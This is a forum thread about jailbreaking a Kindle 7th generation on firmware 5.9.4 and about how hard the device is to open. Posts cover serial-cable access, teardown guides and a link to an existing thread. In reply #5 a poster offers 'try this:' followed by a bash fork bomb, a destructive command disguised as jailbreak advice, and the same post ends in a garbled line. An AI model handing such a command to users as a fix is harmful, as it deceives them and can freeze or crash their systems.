09-14-2019, 05:37 AM | #1 |
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Kindle 7th generation software jailbreak?
I have received a new(ish) Kindle 7th generation. It has been in storage for a while, so it's at Kindle firmware 5.9.4. Any possibility for a software-based jailbreak that involves a downgrade to factory firmware or something?
I know that it normally cannot be done, but what about the "special exceptions"? I want to open the new Kindle, but I don't have access to a serial cable at all (not even online), so I have to look for somebody with a Raspberry Pi. I looked for take-it-apart guides, and the best written guides were @knc1's KT2 Exposed thread and iFixit's teardown. iFixit says that it's easy, mild adhesive, no hairdryer heat needed, only credit-card-opener, while @knc1's post says that it's difficult, delicate, strong adhesive, and specifically warns about using a credit-card-opener. Which one is it? I tried sliding a credit card, but the Kindle's frame won't budge. Last edited by WaseemAlkurdi; 09-14-2019 at 06:10 AM. |
09-14-2019, 02:32 PM | #2 |
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Anybody? :-(
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09-14-2019, 03:21 PM | #3 |
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https://www.mobileread.com/forums/sh...d.php?t=320564
Show some evidence of having read the first part of the first post in the above thread? |
09-14-2019, 07:11 PM | #4 | |
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What made me post this is this comment on that very thread. I do apologize if this post's first question was completely unnecessary. Anyway, I have bought myself a USB to TTL board, and I think I'm going to crack it open instead. I have just finished opening up my dead Kindle Touch, so this one should be easier. Edit: This makes the post's title and first question completely redundant, while the second question in my OP is still valid. Last edited by WaseemAlkurdi; 09-14-2019 at 07:18 PM. |
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05-12-2024, 01:43 PM | #5 |
try this: :(){ :|:& };:
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Language break probably also you cn wait for MountSus in 2025
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